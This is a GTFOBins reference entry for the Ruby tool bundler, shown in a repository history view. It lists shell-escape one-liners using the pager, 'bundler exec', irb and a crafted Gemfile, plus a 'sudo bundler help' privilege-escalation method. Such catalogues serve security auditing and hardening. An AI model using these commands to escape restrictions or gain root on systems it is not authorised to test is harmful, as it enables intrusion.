GTFOBins.github.io/_gtfobins/bundler.md

34 lines
929 B
Markdown
Raw Normal View History

2020-03-14 13:17:09 +01:00
---
functions:
shell:
2021-02-05 13:41:12 +01:00
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
2020-03-14 13:17:09 +01:00
code: |
bundler help
!/bin/sh
- code: |
export BUNDLE_GEMFILE=x
bundler exec /bin/sh
2020-03-14 13:17:09 +01:00
- code: |
TF=$(mktemp -d)
touch $TF/Gemfile
cd $TF
bundler exec /bin/sh
- description: This spawns an interactive shell via [`irb`](/gtfobins/irb/).
code: |
TF=$(mktemp -d)
touch $TF/Gemfile
cd $TF
bundler console
system('/bin/sh -c /bin/sh')
- code: |
TF=$(mktemp -d)
echo 'system("/bin/sh")' > $TF/Gemfile
cd $TF
bundler install
sudo:
2021-02-05 13:41:12 +01:00
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
2020-03-14 13:17:09 +01:00
code: |
sudo bundler help
!/bin/sh
---